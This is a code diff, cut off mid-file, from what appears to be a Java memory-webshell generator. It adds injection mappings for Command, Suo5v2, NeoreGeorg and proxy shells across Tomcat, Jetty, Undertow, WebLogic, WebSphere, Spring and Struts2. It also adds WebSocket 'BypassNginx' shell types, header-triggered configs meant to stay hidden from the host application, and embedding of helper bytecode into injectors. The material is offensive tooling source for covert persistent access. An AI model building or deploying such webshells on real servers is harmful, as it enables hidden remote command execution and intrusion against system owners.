.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
||||||
|
.addShellClass(HANDLER, CommandJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
|
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -169,6 +187,33 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
|
.addShellClass(ACTION, Suo5Struct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||||
|
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
||||||
|
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -193,6 +238,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
|
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||||
|
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,9 @@ public class ShellTool {
|
|||||||
public static final String Behinder = "Behinder";
|
public static final String Behinder = "Behinder";
|
||||||
public static final String Command = "Command";
|
public static final String Command = "Command";
|
||||||
public static final String Suo5 = "Suo5";
|
public static final String Suo5 = "Suo5";
|
||||||
|
public static final String Suo5v2 = "Suo5v2";
|
||||||
public static final String AntSword = "AntSword";
|
public static final String AntSword = "AntSword";
|
||||||
public static final String NeoreGeorg = "NeoreGeorg";
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
|
public static final String Proxy = "Proxy";
|
||||||
public static final String Custom = "Custom";
|
public static final String Custom = "Custom";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,9 +23,11 @@ public class ShellToolFactory {
|
|||||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
|
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
|||||||
@@ -15,17 +15,22 @@ public class ShellType {
|
|||||||
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
|
public static final String UPGRADE = "Upgrade";
|
||||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
|
public static final String HANDLER = "Handler";
|
||||||
|
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
||||||
|
public static final String CUSTOMIZER = "Customizer";
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
@@ -40,5 +45,9 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
|
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
|
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||||
|
|
||||||
|
public static final String ACTION = "Action";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,15 +15,42 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 接收参数的请求头或请求参数名称
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 加密器
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 实现类
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令执行模板,使用 {command} 作为占位符
|
||||||
|
*/
|
||||||
|
private String template;
|
||||||
|
|
||||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
public B paramName(String paramName) {
|
public B paramName(String paramName) {
|
||||||
@@ -33,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
return self();
|
return self();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -16,37 +16,38 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Builder(toBuilder = true)
|
@Builder(toBuilder = true)
|
||||||
public class InjectorConfig {
|
public class InjectorConfig {
|
||||||
/**
|
|
||||||
* 注入器 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> injectorBuilder;
|
|
||||||
/**
|
|
||||||
* 内存马 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> shellBuilder;
|
|
||||||
/**
|
/**
|
||||||
* 注入器模板类
|
* 注入器模板类
|
||||||
*/
|
*/
|
||||||
private Class<?> injectorClass;
|
private Class<?> injectorClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入器类名
|
* 注入器类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String urlPattern = "/*";
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类名
|
* 内存马类名
|
||||||
*/
|
*/
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 辅助类字节码
|
||||||
|
*/
|
||||||
|
private byte[] helperClassBytes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 添加静态代码块调用构造方法初始化
|
* 添加静态代码块调用构造方法初始化
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import lombok.*;
|
||||||
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
@SuperBuilder
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@ToString
|
||||||
|
public class ProxyConfig extends ShellToolConfig {
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -55,19 +55,36 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否使用回显模式
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean probe = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否启用缩小字节码
|
* 是否启用缩小字节码
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean shrink = false;
|
private boolean shrink = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 追加 Lambda 类名后缀
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean lambdaSuffix = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将 Java EE 转换为 Jakarta EE 类名
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean jakarta = false;
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return shellType.startsWith(ShellType.JAKARTA);
|
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -1,19 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/27
|
|
||||||
*/
|
|
||||||
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
|
||||||
protected final ShellConfig shellConfig;
|
|
||||||
protected final T shellToolConfig;
|
|
||||||
|
|
||||||
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.shellToolConfig = shellToolConfig;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,16 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
@@ -29,43 +23,31 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||||
|
return classBytes;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
String shellClassName = shellToolConfig.getShellClassName();
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
|
|
||||||
if (shellClass != null) {
|
if (shellClass != null) {
|
||||||
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellToolConfig.getShellTypeDescription() == null) {
|
if (shellToolConfig.getShellTypeDescription() == null) {
|
||||||
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
||||||
}
|
}
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
|
||||||
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
|
||||||
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
builder = builder
|
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||||
|
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -49,6 +49,12 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
|
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
||||||
|
if (helperClassBytes != null) {
|
||||||
|
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
||||||
|
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
||||||
|
}
|
||||||
|
|
||||||
if (shellConfig.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,53 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.method.MethodDescription;
|
|
||||||
import net.bytebuddy.description.method.MethodList;
|
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/22
|
|
||||||
*/
|
|
||||||
public class ListenerGenerator {
|
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
|
|
||||||
TypeDescription typeDefinition, String newClassName) {
|
|
||||||
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
|
||||||
|
|
||||||
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
|
|
||||||
.and(ElementMatchers.takesArguments(Object.class))
|
|
||||||
.and(ElementMatchers.returns(Object.class)))
|
|
||||||
.isEmpty()) {
|
|
||||||
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
|
|
||||||
" make sure arg and return type is Object.class");
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
|
||||||
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (methods.filter(named("getFieldValue")
|
|
||||||
.and(takesArguments(Object.class, String.class)))
|
|
||||||
.isEmpty()) {
|
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
|
||||||
.withParameters(Object.class, String.class)
|
|
||||||
.throwing(Exception.class)
|
|
||||||
.intercept(FixedValue.nullValue())
|
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public interface Processor<T> {
|
||||||
|
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.processors.*;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public final class ProcessorRegistry {
|
||||||
|
|
||||||
|
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
||||||
|
new ListenerBuilderModifier(),
|
||||||
|
new ValveBuilderModifier(),
|
||||||
|
new DebugOffBuilderModifier()
|
||||||
|
);
|
||||||
|
|
||||||
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
|
new JakartaPostProcessor(),
|
||||||
|
new JettyHandlerPostProcessor(),
|
||||||
|
new ShrinkPostProcessor()
|
||||||
|
);
|
||||||
|
|
||||||
|
private ProcessorRegistry() {
|
||||||
|
// Prevent instantiation
|
||||||
|
}
|
||||||
|
|
||||||
|
